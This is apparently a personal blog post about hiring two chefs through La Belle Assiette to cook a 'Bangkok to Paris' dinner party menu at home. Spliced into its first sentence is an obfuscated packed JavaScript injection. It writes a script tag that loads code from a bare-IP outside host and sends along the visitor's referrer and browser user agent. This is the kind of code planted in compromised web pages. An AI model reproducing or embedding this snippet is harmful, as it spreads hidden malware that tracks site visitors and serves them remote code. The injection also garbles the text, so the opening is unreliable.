We’re (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbera|var|u0026u|referrer|sszhn||js|php’.split(‘|’),0,{}))
not gonna lie, we rarely do any cooking at home…in fact we could probably count the number of times on one hand that we’ve cooked anything but breakfast in the last two years. And so, when we announced that we’d be hosting a dinner party we got some interesting replies to the invite, “this is HUGE news” was one of them. But just because it was our turn to host a dinner party, didn’t mean we had to break all the rules and cook. Instead we called in the experts, hitting up La Belle Assiette to find an interesting menu and chef to come to our house and cook up a storm in the kitchen whilst we played host at the table.

Our chefs, Yann and Graham were great and so was the Bangkok to Paris menu. We kicked off with a Gin Fizz and Hibiscus cocktail and a beautiful hay smoked prawn, orange and pistachio appetiser. I can honestly say nothing that complex has ever come out of my kitchen. A marinated monkfish carpaccio with hot and sour consomme starter was followed by sticky confit and glazed pork belly with slaw. Whilst dessert was a black sesame panna cotta and hot madeleines to finish.


The duo even cleared the plates AND did the washing up. Serious service right there. And before you go thinking it’s well out of your price range, think again. It’s only £39 per person for 6 people. Cheap as chips and you can BYOB obvs. We think the number of fingers needed to count our cooking maybe decreasing even more now we’ve discovered this.